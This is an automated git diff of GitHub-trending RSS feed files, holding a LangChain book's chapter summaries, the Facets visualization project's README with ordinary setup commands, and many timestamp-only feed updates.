<li> <p><strong>Moderation Capabilities:</strong> The importance of moderation is emphasized, highlighting LangChain's capability to pass text through a moderation chain for checking harmful content. This ensures that chatbot responses align with organizational values and adhere to ethical standards.</p> </li>
<li> <p><strong>Foundational Understanding:</strong> The chapter offers a foundational understanding of chatbots, retrieval mechanisms, vector storage, memory mechanisms, and moderation. It serves as a starting point for addressing challenges related to memory, context, and the moderation of speech in advanced chatbot implementations.</p> </li>
</ul>
<h3>Chapter 06, Developing Software with Generative AI</h3>
<p>In this chapter, the focus shifts from integrating generative AI into software applications to leveraging Large Language Models (LLMs) for assistance in software development. The significance of generative AI in software development, highlighted by consultancies like KPMG and McKinsey, sets the stage for exploring the impact of LLMs in this domain. The chapter begins by providing a broad overview of the current state of using AI for software development, addressing how LLMs could enhance coding tasks and automate software development processes. Practical approaches are demonstrated by playing with different models, evaluating the generated code qualitatively, and implementing a fully automated agent for software development tasks using LangChain. The chapter emphasizes the potential extensions to this approach and provides insights into various practical approaches to automatic software development, all of which are accessible in the software_development directory in the GitHub repository for the book. While acknowledging the superficial correctness and potential bugs in suggested solutions, the chapter hints at the feasibility of LLMs learning to automate coding pipelines with the right architectural setup. It underscores the importance of human guidance on high-level design and rigorous review to prevent errors, suggesting that collaboration between humans and AI is likely the future path.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>AI Impact on Software Development:</strong> The chapter delves into the intersection of generative AI, particularly Large Language Models (LLMs), and software development, acknowledging reports from consultancies like KPMG and McKinsey highlighting AI's substantial impact on this domain.</p> </li>
<li> <p><strong>Coding Assistance with LLMs:</strong> LLMs are explored as valuable coding assistants in software development, with a focus on automating coding tasks. The chapter qualitatively evaluates code generation using various models, showcasing their potential benefits and limitations.</p> </li>
<li> <p><strong>Automated Software Development Agent:</strong> Practical implementations are demonstrated through the creation of a fully automated agent for software development tasks using LangChain. The chapter discusses design choices and presents results, emphasizing the extensibility of this approach.</p> </li>
<li> <p><strong>Feasibility of Automating Coding Pipelines:</strong> The chapter raises the possibility that, with the right architectural setup, LLMs could learn to automate coding pipelines. It acknowledges current limitations and suggests that human guidance and collaboration between humans and AI are crucial for safety and reliability.</p> </li>
<li> <p><strong>Future Directions and Collaborative Development:</strong> While highlighting the potential for automating coding tasks, the chapter acknowledges the need for high-level design guidance and rigorous human review to prevent errors. It suggests the future likely involves collaboration between humans and AI in the realm of software development.</p> </li>
</ul>
<h3>Chapter 07, LLMs for Data Science</h3>
<p>This chapter explores the role of generative AI, particularly Large Language Models (LLMs), in automating data science processes. It highlights the potential of LLMs to accelerate scientific progress, especially in the efficient analysis of research data and literature review processes. The chapter begins with an examination of the impact of generative models on data science, emphasizing how LLMs contribute to the automation of various stages in the data science pipeline. The discussion covers automated data science, the use of code generation and tools to answer data science questions, and the exploration of structured datasets through LLM-powered processes. Practical approaches to data science with LLMs are demonstrated throughout the chapter, providing insights that can be explored further in the data_science directory in the GitHub repository for the book.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Generative AI Impact on Data Science:</strong> The chapter explores the profound impact of generative AI, particularly Large Language Models (LLMs), on data science. It highlights how LLMs can accelerate scientific progress by efficiently analyzing research data and aiding in literature review processes.</p> </li>
<li> <p><strong>Automated Data Science Pipeline:</strong> The discussion revolves around the automation of the data science pipeline, showcasing the value of Automated Machine Learning (AutoML) frameworks and the integration of LLMs in various stages, from data preparation to model deployment.</p> </li>
<li> <p><strong>Code Generation and Tool Utilization:</strong> The chapter demonstrates the diverse applications of LLMs in data science, including code generation and tool utilization to answer questions and enhance datasets. It draws parallels with software development and explores the augmentation of datasets through external tools like WolframAlpha.</p> </li>
<li> <p><strong>LLMs for Data Exploration:</strong> Practical approaches to data exploration with LLMs are presented, focusing on the analysis of structured datasets. The exploration involves the effective use of LLM-powered processes for ingesting and analyzing textual data, extending the techniques introduced in previous chapters.</p> </li>
<li> <p><strong>Augmentation, Not Replacement:</strong> While acknowledging the transformative potential of AI technologies in data analysis, the chapter emphasizes that the current state of AI technology augments rather than replaces human expertise in data science. It broadens the analytical toolset for professionals, showcasing the collaborative potential of human-AI interaction. The next chapter is teased to focus on conditioning techniques to enhance LLM performance through prompting and fine-tuning.</p> </li>
</ul>
<h3>Chapter 08, Customizing LLMs and Their Output</h3>
<p>This chapter focuses on enhancing the reliability and performance of Large Language Models (LLMs) in specific scenarios, particularly complex reasoning and problem-solving tasks, through the process of conditioning. Conditioning, crucial for steering generative AI, is achieved through two main techniques: fine-tuning and prompting. Fine-tuning involves training the pre-trained base model on specific tasks or datasets relevant to the desired application, allowing the model to adapt and become more accurate and contextually relevant. Prompt engineering, on the other hand, involves providing additional input or context at inference time to generate text tailored to a particular task or style. The chapter delves into advanced prompt engineering strategies such as few-shot learning, tree-of-thought, and self-consistency, demonstrating their implementation throughout the chapter with corresponding code available in the GitHub repository for the book. The chapter serves as a practical guide for researchers and practitioners working with LLMs to unlock advanced conditioning strategies and sets the stage for the next chapter on the productionization of generative AI.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Conditioning for Performance Improvement:</strong> The chapter focuses on the critical concept of conditioning in generative AI, highlighting its role in steering LLMs to enhance reliability, safety, and overall performance in complex reasoning and problem-solving scenarios.</p> </li>
<li> <p><strong>Fine-Tuning for Adaptation:</strong> Fine-tuning emerges as a key technique for conditioning LLMs, involving training the pre-trained base model on specific tasks or datasets relevant to the desired application. This process allows the model to adapt and achieve greater accuracy and contextual relevance for the intended use case.</p> </li>
<li> <p><strong>Significance of Prompt Engineering:</strong> The chapter underscores the importance of prompt engineering as a means to unlock LLM reasoning capabilities. By providing additional input or context at inference time, prompt engineering enables LLMs to generate text tailored to specific tasks or styles, with advanced strategies such as few-shot learning and self-consistency explored.</p> </li>
<li> <p><strong>Diverse Prompting Techniques:</strong> Various prompting techniques are discussed, including step-by-step prompting, alternate selection, inference prompts, problem decomposition, and sampling multiple responses. These methods contribute to improving the reliability of LLMs in complex reasoning tasks, enhancing accuracy and consistency.</p> </li>
<li> <p><strong>Application of Advanced Conditioning Strategies:</strong> Throughout the chapter, practical implementations of advanced conditioning strategies, such as fine-tuning and prompt engineering, are demonstrated. The code corresponding to these implementations can be found in the GitHub repository for the book, providing a valuable resource for researchers and practitioners working with LLMs.</p> </li>
</ul>
<h3>Chapter 09, Generative AI in Production</h3>
<p>This chapter focuses on the practical considerations and best practices for deploying generative AI, specifically Large Language Model (LLM) apps, from research to real-world applications. The transition from controlled research settings to live production environments involves addressing challenges related to performance, scalability, regulatory compliance, and ethical considerations. The chapter covers key aspects such as getting LLM apps ready for production, evaluating their performance, deploying them effectively, and observing their behavior in live environments. The importance of offline evaluation and continuous observability is emphasized to ensure a model's abilities are understood in a controlled setting and monitored in real-time production environments.</p>
<p>Throughout the chapter, practical examples with LLM apps are provided, offering insights into techniques for fine-tuning, safety interventions, and defensive design to develop applications that produce reliable and meaningful outputs. The discussion extends to deployment tools like FastAPI, Ray, and LangServe, with a focus on the significance of evaluation metrics, comparative evaluation, and systematic monitoring in ensuring the quality, accuracy, and reliability of LLMs in production</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Deployment Challenges and Considerations:</strong> The chapter addresses the complex challenges of deploying generative AI, particularly Large Language Model (LLM) apps, in real-world production scenarios. It emphasizes the need for scalability, monitoring, and ethical safeguards to navigate the transition from research to live environments effectively.</p> </li>
<li> <p><strong>Critical Evaluation Processes:</strong> The importance of both offline evaluation and continuous observability is highlighted. These processes provide essential insights into a model's performance, quality, and behavior, ensuring that LLMs produce reliable, useful, and sensible outputs. LangChain supports comparative evaluation, criteria checking, and semantic similarity metrics for a comprehensive evaluation strategy.</p> </li>
<li> <p><strong>Deployment Tools and Techniques:</strong> Practical examples in the chapter involve deploying applications with tools like FastAPI, Ray, and LangServe. The discussion extends to the role of LangSmith, which provides powerful capabilities for tracking, benchmarking, and optimizing LLMs built with LangChain. The emphasis is on the evolving landscape of deployment tools and the significance of staying informed about emerging developments.</p> </li>
<li> <p><strong>Monitoring for Performance and Reliability:</strong> Monitoring LLMs is identified as a vital aspect of deployment and maintenance. The chapter introduces key metrics for a comprehensive monitoring strategy and offers examples of how to track these metrics in practice. Tools such as PromptWatch and LangSmith are discussed to enhance observability, accelerate development, and validate LLMs.</p> </li>
<li> <p><strong>Responsibility in Generative AI:</strong> The chapter underscores the importance of responsible deployment, emphasizing meticulous planning around scalability, interpretability, testing, and monitoring. Techniques like fine-tuning, safety interventions, and defensive design are crucial for developing applications that produce helpful, harmless, and readable outputs. The responsible deployment of generative AI models holds immense potential benefits across industries, from medicine to education.</p> </li>
</ul>
<h3>Chapter 10, The Future of Generative Models</h3>
<p>The chapter begins with an exploration of the current state of generative AI models, acknowledging recent breakthroughs while highlighting persisting challenges related to precision, reasoning, controllability, and biases within these models. It emphasizes the technical and practical aspects, such as the black-box nature of models, limited interpretability, and concerns regarding biases in training data. The discussion anticipates sophisticated capabilities in the coming decades but underscores the need for addressing challenges to ensure responsible and controllable AI development.</p>
<p>The focus then shifts to the economic consequences and societal implications of generative AI. The text discusses the surge in venture funding for generative AI start-ups and major investments by industry leaders, indicating the technology's potential economic impact. The chapter also touches on societal concerns, including misinformation, plagiarism, deepfake proliferation, and the possible weaponization of generative AI, urging a thoughtful approach to regulations and practical implementation to address these challenges responsibly.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Current State of Generative AI Models:</strong> Explore the current state of generative AI models, emphasizing recent breakthroughs, persistent challenges, and technical considerations such as interpretability and biases.</p> </li>
<li> <p><strong>Economic Impact and Venture Funding:</strong> Discuss the economic consequences of generative AI, highlighting the surge in venture funding for start-ups and significant investments by major players like Salesforce and Accenture.</p> </li>
<li> <p><strong>Job Displacement and Democratization of Skills:</strong> Address concerns about job losses, particularly in specialized roles, and examine the potential democratization of skills enabled by generative AI.</p> </li>
<li> <p><strong>Societal Implications and Ethical Considerations:</strong> Delve into the societal implications, including issues related to misinformation, plagiarism, deepfakes, and the potential weaponization of generative AI. Discuss ethical considerations and the need for responsible regulations.</p> </li>
<li> <p><strong>Future Challenges and Collaborative Governance:</strong> Anticipate future challenges in the ethical and technical domains, emphasizing the importance of proactive governance, collaboration between stakeholders, and alignment with human values in directing generative AI technologies toward benevolent outcomes.</p> </li>
</ul>
<blockquote>
<p>If you feel this book is for you, get your <a href="https://www.amazon.com/Generative-AI-LangChain-language-ChatGPT/dp/1835083463/ref=sr_1_2?crid=2XYQSRSV1SUSF&keywords=Langchain&qid=1703044611&sprefix=langchain%2Caps%2C552&sr=8-2">copy</a> today! <img alt="Coding" height="15" width="35" src="https://media.tenor.com/ex_HDD_k5P8AAAAi/habbo-habbohotel.gif"></p>
</blockquote>
<h2>Know more on the Discord server <img alt="Coding" height="25" width="32" src="https://cliply.co/wp-content/uploads/2021/08/372108630_DISCORD_LOGO_400.gif"></h2>
<p>You can get more engaged on the discord server for more latest updates and discussions in the community at <a href="https://packt.link/lang">Discord</a></p>
<h2>Download a free PDF <img alt="Coding" height="25" width="40" src="https://emergency.com.au/wp-content/uploads/2021/03/free.gif"></h2>
<p><em>If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost. Simply click on the link to claim your free PDF.</em> <a href="https://packt.link/free-ebook/9781835083468">Free-Ebook</a> <img alt="Coding" height="15" width="35" src="https://media.tenor.com/ex_HDD_k5P8AAAAi/habbo-habbohotel.gif"></p>
<p>We also provide a PDF file that has color images of the screenshots/diagrams used in this book at <a href="https://packt.link/gbp/9781835083468">GraphicBundle</a> <img alt="Coding" height="15" width="35" src="https://media.tenor.com/ex_HDD_k5P8AAAAi/habbo-habbohotel.gif"></p>
<h2>Get to know the Author</h2>
<p><em>Ben Auffarth</em> A seasoned data science leader with a background and Ph.D. in computational neuroscience. Ben has analyzed terabytes of data, simulated brain activity on supercomputers with up to 64k cores, designed and conducted wet lab experiments, built production systems processing underwriting applications, and trained neural networks on millions of documents. Heโs the author of the books Machine Learning for Time Series and Artificial Intelligence with Python Cookbook. He now works in insurance at Hastings Direct.</p>
<h2>Other Related Books</h2>
<ul>
<li><a href="https://www.packtpub.com/product/transformers-for-natural-language-processing-and-computer-vision-third-edition/9781805128724">Transformers for Natural Language Processing and Computer Vision</a></li>
<li><a href="https://www.packtpub.com/product/building-llm-apps/9781835462317">Building LLM Apps</a></li>
<li><a href="https://www.packtpub.com/product/generative-ai-engineering-1e/9781805120513">Generative AI Engineering</a></li>
</ul>
+ PAIR-code/facets
+ 2024-01-04T01:32:58Z
+ tag:github.com,2024-01-04:/PAIR-code/facets
+
+ <p>Visualizations for machine learning datasets</p><hr><h1>Introduction</h1>
<p>The facets project contains two visualizations for understanding and analyzing machine learning datasets: Facets Overview and Facets Dive.</p>
<p>The visualizations are implemented as <a href="https://www.polymer-project.org">Polymer</a> web components, backed by <a href="https://www.typescriptlang.org">Typescript</a> code and can be easily embedded into Jupyter notebooks or webpages.</p>
<p>Live demos of the visualizations can be found on the <a href="https://pair-code.github.io/facets/">Facets project description page</a>.</p>
<h2>Facets Overview</h2>
<p><img src="https://raw.githubusercontent.com/PAIR-code/facets/master/img/overview-census.png" alt="Overview visualization of UCI census data" title="Overview visualization of UCI census data - Lichman, M. (2013). UCI Machine Learning Repository [http://archive.ics.uci.edu/ml/datasets/Census+Income]. Irvine, CA: University of California, School of Information and Computer Science"></p>
<p>Overview gives a high-level view of one or more data sets. It produces a visual feature-by-feature statistical analysis, and can also be used to compare statistics across two or more data sets. The tool can process both numeric and string features, including multiple instances of a number or string per feature.</p>
<p>Overview can help uncover issues with datasets, including the following:</p>
<ul>
<li>Unexpected feature values</li>
<li>Missing feature values for a large number of examples</li>
<li>Training/serving skew</li>
<li>Training/test/validation set skew</li>
</ul>
<p>Key aspects of the visualization are outlier detection and distribution comparison across multiple datasets. Interesting values (such as a high proportion of missing data, or very different distributions of a feature across multiple datasets) are highlighted in red. Features can be sorted by values of interest such as the number of missing values or the skew between the different datasets.</p>
<p>The python code to generate the statistics for visualization can be installed through <code>pip install facets-overview</code>. As of version 1.1.0, the <code>facets-overview</code> package requires a version of <code>protobuf</code> at version 3.20.0 or later.</p>
<p>Details about Overview usage can be found in its <a href="https://raw.githubusercontent.com/PAIR-code/facets/master/facets_overview/README.md">README</a>.</p>
<h2>Facets Dive</h2>
<p><img src="https://raw.githubusercontent.com/PAIR-code/facets/master/img/dive-census.png" alt="Dive visualization of UCI census data" title="Dive visualization of UCI census data - Lichman, M. (2013). UCI Machine Learning Repository [http://archive.ics.uci.edu/ml/datasets/Census+Income]. Irvine, CA: University of California, School of Information and Computer Science"></p>
<p>Dive is a tool for interactively exploring up to tens of thousands of multidimensional data points, allowing users to seamlessly switch between a high-level overview and low-level details. Each example is a represented as single item in the visualization and the points can be positioned by faceting/bucketing in multiple dimensions by their feature values. Combining smooth animation and zooming with faceting and filtering, Dive makes it easy to spot patterns and outliers in complex data sets.</p>
<p>Details about Dive usage can be found in its <a href="https://raw.githubusercontent.com/PAIR-code/facets/master/facets_dive/README.md">README</a>.</p>
<h1>Setup</h1>
<h2>Usage in Google Colabratory/Jupyter Notebooks</h2>
<p>Using Facets in <a href="https://colab.research.google.com">Google Colabratory</a> and <a href="http://jupyter.org">Jupyter</a> notebooks can be seen <a href="https://colab.research.google.com/github/PAIR-code/facets/blob/master/colab_facets.ipynb">in this notebook</a>. These notebooks work without the need to first download/install this repository.</p>
<p>Both Facets visualizations make use of HTML imports. So in order to use them, you must first load the appropriate polyfill, through <code><script src="https://cdnjs.cloudflare.com/ajax/libs/webcomponentsjs/1.3.3/webcomponents-lite.js"></script></code>, as shown in the demo notebooks in this repo.</p>
<p>Note that for using Facets Overview in a Jupyter notebook, there are two considerations:</p>
<ol>
<li>In the notebook, you will need to change the path that the Facets Overview python code is loaded from to the correct path given where your notebook kernel is run from.</li>
<li>You must also have the Protocol Buffers python runtime library installed: <a href="https://github.com/google/protobuf/tree/master/python">https://github.com/google/protobuf/tree/master/python</a>. If you used pip or anaconda to install Jupyter, you can use the same tool to install the runtime library.</li>
</ol>
<p>When visualizing a large amount of data in Dive in a Juypter notebook, as is done in the <a href="https://raw.githubusercontent.com/PAIR-code/facets/master/facets_dive/Dive_demo.ipynb">Dive demo Jupyter notebook</a>, you will need to start the notebook server with an increased IOPub data rate. This can be done with the command <code>jupyter notebook --NotebookApp.iopub_data_rate_limit=10000000</code>.</p>
<h2>Code Installation</h2>
<pre><code>git clone https://github.com/PAIR-code/facets
cd facets
</code></pre>
<h2>Building the Visualizations</h2>
<p>If you make code changes to the visualization and would like to rebuild them, follow these directions:</p>
<ol>
<li>Install bazel: <a href="https://bazel.build/">https://bazel.build/</a></li>
<li>Build the visualizations: <code>bazel build facets:facets_jupyter</code> (run from the facets top-level directory)</li>
</ol>
<h2>Using the rebuilt Visualizations in a Jupyter notebook</h2>
<p>If you want to use the visualizations you built locally in a Jupyter notebook, follow these directions:</p>
<ol>
<li>Move the resulting vulcanized html file from the build step into the facets-dist directory: <code>cp -f bazel-bin/facets/facets-jupyter.html facets-dist/</code></li>
<li>Install the visualizations into Jupyter as an nbextension.</li>
</ol>
<ul>
<li>If jupyter was installed with pip, you can use <code>jupyter nbextension install facets-dist/ </code> if jupyter was installed system-wide or <code>jupyter nbextension install facets-dist/ --user</code> if installed per-user (run from the facets top-level directory). You do not need to run any follow-up <code>jupyter nbextension enable</code> command for this extension.</li>
<li>Alternatively, you can manually install the nbextension by finding your jupyter installation's <code>share/jupyter/nbextensions</code> folder and copying the facets-dist directory into it.</li>
</ul>
<ol start="3">
<li>In the notebook cell's HTML link tag that loads the built facets html, load from <code>/nbextensions/facets-dist/facets-jupyter.html</code>, which is the locally installed facets distribution. from the previous step.</li>
</ol>
<h2>Known Issues</h2>
<ul>
<li>The Facets visualizations currently work only in Chrome - <a href="https://raw.githubusercontent.com/PAIR-code/issues/9">Issue 9</a>.</li>
</ul>
<p><strong>Disclaimer: This is not an official Google product</strong></p>
\ No newline at end of file
diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml
index 6f113a153df..3d31733f456 100644
--- a/kaitai-struct/daily/index.xml
+++ b/kaitai-struct/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kaitai Struct Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:13Z
+ 2024-01-04T01:32:52ZDaily Trending of Kaitai Struct in GitHub
\ No newline at end of file
diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml
index faf83aff87a..7326672b90b 100644
--- a/kakounescript/daily/index.xml
+++ b/kakounescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KakouneScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:27Z
+ 2024-01-04T01:33:16ZDaily Trending of KakouneScript in GitHub
\ No newline at end of file
diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml
index 3f89aab7042..82a3e7e20c5 100644
--- a/kicad-layout/daily/index.xml
+++ b/kicad-layout/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Layout Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:27Z
+ 2024-01-04T01:33:17ZDaily Trending of KiCad Layout in GitHub
\ No newline at end of file
diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml
index 56eca3d04c3..2def6da746d 100644
--- a/kicad-legacy-layout/daily/index.xml
+++ b/kicad-legacy-layout/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Legacy Layout Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:26Z
+ 2024-01-04T01:33:18ZDaily Trending of KiCad Legacy Layout in GitHub
\ No newline at end of file
diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml
index 96d0360c587..228f28fee0b 100644
--- a/kicad-schematic/daily/index.xml
+++ b/kicad-schematic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Schematic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:30Z
+ 2024-01-04T01:33:19ZDaily Trending of KiCad Schematic in GitHub
\ No newline at end of file
diff --git a/kit/daily/index.xml b/kit/daily/index.xml
index 9eeb2e11a7d..fcd714579a4 100644
--- a/kit/daily/index.xml
+++ b/kit/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kit Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:31Z
+ 2024-01-04T01:33:21ZDaily Trending of Kit in GitHub
\ No newline at end of file
diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml
index 05f8f37b541..608f5944702 100644
--- a/kotlin/daily/index.xml
+++ b/kotlin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kotlin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:33Z
+ 2024-01-04T01:33:24ZDaily Trending of Kotlin in GitHub
\ No newline at end of file
diff --git a/krl/daily/index.xml b/krl/daily/index.xml
index c7bd5d05250..7c122bf4a9b 100644
--- a/krl/daily/index.xml
+++ b/krl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KRL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:38Z
+ 2024-01-04T01:33:32ZDaily Trending of KRL in GitHub
\ No newline at end of file
diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml
index 9c951623751..9f95800e8b9 100644
--- a/kusto/daily/index.xml
+++ b/kusto/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kusto Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:39Z
+ 2024-01-04T01:33:30ZDaily Trending of Kusto in GitHub
\ No newline at end of file
diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml
index 01dddf2c47c..d8b993103a1 100644
--- a/kvlang/daily/index.xml
+++ b/kvlang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub kvlang Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:38Z
+ 2024-01-04T01:33:31ZDaily Trending of kvlang in GitHub
\ No newline at end of file
diff --git a/labview/daily/index.xml b/labview/daily/index.xml
index 2325f014c58..09d31fa050a 100644
--- a/labview/daily/index.xml
+++ b/labview/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LabVIEW Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:40Z
+ 2024-01-04T01:33:32ZDaily Trending of LabVIEW in GitHub
\ No newline at end of file
diff --git a/lark/daily/index.xml b/lark/daily/index.xml
index a28cb98f131..6e0a6862d2a 100644
--- a/lark/daily/index.xml
+++ b/lark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lark Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:42Z
+ 2024-01-04T01:33:34ZDaily Trending of Lark in GitHub
\ No newline at end of file
diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml
index fba1c7dd6a0..9244ddef2b3 100644
--- a/lasso/daily/index.xml
+++ b/lasso/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lasso Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:41Z
+ 2024-01-04T01:33:36ZDaily Trending of Lasso in GitHub
\ No newline at end of file
diff --git a/latte/daily/index.xml b/latte/daily/index.xml
index 9505429c44e..7278c710d43 100644
--- a/latte/daily/index.xml
+++ b/latte/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Latte Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:42Z
+ 2024-01-04T01:33:33ZDaily Trending of Latte in GitHub
\ No newline at end of file
diff --git a/lean/daily/index.xml b/lean/daily/index.xml
index a123426c95d..1436fc8ac37 100644
--- a/lean/daily/index.xml
+++ b/lean/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lean Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:43Z
+ 2024-01-04T01:33:35ZDaily Trending of Lean in GitHub
\ No newline at end of file
diff --git a/less/daily/index.xml b/less/daily/index.xml
index d13b58463f2..4eaba2f0e00 100644
--- a/less/daily/index.xml
+++ b/less/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Less Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:47Z
+ 2024-01-04T01:33:40ZDaily Trending of Less in GitHub
-
- vishaltewatia/new-year-special
- 2024-01-03T01:32:47Z
- tag:github.com,2024-01-03:/vishaltewatia/new-year-special
-
- <p></p><hr>
-
-
- 17px/hexo-theme-cosy
- 2024-01-03T01:32:47Z
- tag:github.com,2024-01-03:/17px/hexo-theme-cosy
-
- <p>Minimalist, pursuing the ultimate loading speed for a Hexo theme๏ผ่ฟฝๆฑๆ่ดๅ ่ฝฝ้ๅบฆ</p><hr>
-
\ No newline at end of file
diff --git a/lex/daily/index.xml b/lex/daily/index.xml
index f9444b1b49a..e8f05d69d46 100644
--- a/lex/daily/index.xml
+++ b/lex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lex Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:45Z
+ 2024-01-04T01:33:37ZDaily Trending of Lex in GitHub
\ No newline at end of file
diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml
index d23b7797a2b..2a0daf47fb1 100644
--- a/lfe/daily/index.xml
+++ b/lfe/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LFE Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:44Z
+ 2024-01-04T01:33:38ZDaily Trending of LFE in GitHub
\ No newline at end of file
diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml
index 0720a7c1e1e..e92fc334345 100644
--- a/ligolang/daily/index.xml
+++ b/ligolang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LigoLANG Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:50Z
+ 2024-01-04T01:33:41ZDaily Trending of LigoLANG in GitHub
\ No newline at end of file
diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml
index 3d2980ccf60..e2ff2505e23 100644
--- a/lilypond/daily/index.xml
+++ b/lilypond/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LilyPond Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:50Z
+ 2024-01-04T01:33:42ZDaily Trending of LilyPond in GitHub
\ No newline at end of file
diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml
index 99c98c0e171..7c30e156a9a 100644
--- a/limbo/daily/index.xml
+++ b/limbo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Limbo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:48Z
+ 2024-01-04T01:33:43ZDaily Trending of Limbo in GitHub
\ No newline at end of file
diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml
index a89f59d8911..54d63fbb0b0 100644
--- a/linker-script/daily/index.xml
+++ b/linker-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Linker Script Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:49Z
+ 2024-01-04T01:33:42ZDaily Trending of Linker Script in GitHub
\ No newline at end of file
diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml
index 5ec91ad9d53..82c9c53a9d1 100644
--- a/linux-kernel-module/daily/index.xml
+++ b/linux-kernel-module/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Linux Kernel Module Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:51Z
+ 2024-01-04T01:33:44ZDaily Trending of Linux Kernel Module in GitHub
\ No newline at end of file
diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml
index ac219bb79ba..17a74a7a9a4 100644
--- a/liquid/daily/index.xml
+++ b/liquid/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Liquid Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:53Z
+ 2024-01-04T01:33:46ZDaily Trending of Liquid in GitHub
+
+ webhasan/gtm-datalayer-for-shopify
+ 2024-01-04T01:33:46Z
+ tag:github.com,2024-01-04:/webhasan/gtm-datalayer-for-shopify
+
+ <p>GTM data Layer for Shopify ecommerce</p><hr>
+
\ No newline at end of file
diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml
index 1a741316561..eb61801881f 100644
--- a/literate-agda/daily/index.xml
+++ b/literate-agda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Literate Agda Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:52Z
+ 2024-01-04T01:33:45ZDaily Trending of Literate Agda in GitHub
\ No newline at end of file
diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml
index e26c1b4052b..ca2900d9172 100644
--- a/literate-coffeescript/daily/index.xml
+++ b/literate-coffeescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Literate CoffeeScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:54Z
+ 2024-01-04T01:33:47ZDaily Trending of Literate CoffeeScript in GitHub
\ No newline at end of file
diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml
index 918108ab016..d2918c70ecd 100644
--- a/literate-haskell/daily/index.xml
+++ b/literate-haskell/daily/index.xml
@@ -1,7 +1,7 @@
